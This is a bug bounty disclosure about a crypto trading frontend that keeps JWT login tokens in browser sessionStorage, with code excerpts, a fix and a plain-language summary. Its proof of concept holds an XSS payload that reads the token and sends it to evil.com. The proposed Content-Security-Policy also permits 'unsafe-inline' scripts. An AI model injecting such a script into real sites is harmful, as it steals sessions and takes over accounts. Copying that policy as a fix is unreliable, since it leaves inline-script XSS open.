Insecure Token Storage in SessionStorage
The application stores JWT authentication tokens in browser sessionStorage throughout the frontend, making them readable by any JavaScript running on the page. An attacker who finds any XSS flaw could steal the token and gain persistent access to user wallet addresses, trading capabilities and administrative functions.
- Disclosed after under an hour
#47729 [W&A-Insight] Insecure Token Storage in SessionStorage
Submitted on Jun 19th 2025 at 10:19:57 UTC by @Opzteam for IOP | Zano Trade
- Report ID: #47729
- Report Type: Websites & Apps
- Report severity: Insight
- Target: https://github.com/PRavaga/zano-p2p/tree/master/src/pages/dex
- Impacts:
Description
- The application stores JWT authentication tokens in browser sessionStorage across the entire frontend codebase, creating a critical security vulnerability where any Cross-Site Scripting (XSS) attack could immediately compromise user accounts and financial data. With over 25 instances of
sessionStorage.getItem("token")throughout the codebase and no security headers implemented, a single XSS vulnerability would grant attackers persistent access to user wallet addresses, trading capabilities, and administrative functions. In a financial trading platform handling cryptocurrency transactions, this represents a severe risk that could lead to unauthorized trades, fund theft, and complete account takeover. - The vulnerability stems from the application's reliance on sessionStorage for JWT token persistence, which is accessible to any JavaScript code running in the browser context:
// ConnectButton.tsx - Token is stored after successful authentication
sessionStorage.setItem("token", result?.data);
- Token Retrieval (Throughout Application):
// useUpdateUser.ts - User authentication check
if (!sessionStorage.getItem("token")) return false;
// utils/methods.ts - Every API call includes token from sessionStorage
export async function getUser(): Promise<ErrorRes | GetUserRes> {
return await axios.post("/api/user/get-user", {
token: sessionStorage.getItem("token") // Exposed to XSS
}).then(res => res.data);
}
// Similar pattern in 25+ other functions
- JWT tokens contain critical user information:
interface UserData {
alias: string; // User wallet alias
address: string; // Cryptocurrency wallet address
id?: undefined;
favourite_currencies?: undefined;
}
- The Next.js configuration lacks security headers that could mitigate XSS attacks:
// next.config.js - No security headers configured
const nextConfig = {
reactStrictMode: true,
// Missing Content-Security-Policy
// Missing X-Frame-Options
// Missing X-Content-Type-Options
async redirects() { /* ... */ }
}
Proof of Concept
Proof of Concept
- Malicious browser extensions can access sessionStorage
- XSS Malicious Script Injection
Token Extraction via XSS
<!-- Malicious payload that could be injected via any XSS vulnerability -->
<script>
// Extract JWT token
const token = sessionStorage.getItem("token");
// Decode and examine token contents (if not encrypted)
const payload = JSON.parse(atob(token.split('.')[1]));
console.log("Stolen user data:", payload);
// Exfiltrate to attacker server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: token,
userData: payload,
origin: window.location.origin
})
});
</script>
FIX:
- Implement HTTP-Only Cookies:
// Replace sessionStorage with secure HTTP-only cookies
// Backend: Set secure cookies
res.cookie('authToken', token, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: 24 * 60 * 60 * 1000 // 24 hours
});
// Frontend: Remove all sessionStorage usage
// Cookies are automatically sent with requests
- Add Security Headers:
// next.config.js
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
},
{
key: 'X-Frame-Options',
value: 'DENY'
},
{
key: 'X-Content-Type-Options',
value: 'nosniff'
},
{
key: 'Strict-Transport-Security',
value: 'max-age=31536000; includeSubDomains'
}
]
}
];
}
};
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the frontend persists the JWT in sessionStorage instead of an HTTP-only cookie, so any script in the page context can read it.
Impact
If an XSS flaw exists, an attacker could steal the token and gain persistent access to wallet addresses, trading and administrative functions, though the report does not demonstrate an actual XSS.
What the attacker needed
An XSS flaw on the site; victim loads the malicious script
The fix
The token should be moved to an HTTP-only, Secure, SameSite cookie and the Next.js app should send a Content-Security-Policy and related security headers.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A JWT is a signed token a site uses to remember who you are after login. The site kept this token in a browser storage area called sessionStorage, which any script on the page can read. If an attacker can get their own script to run on the site (a cross-site scripting bug), they can copy the token and act as the victim.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.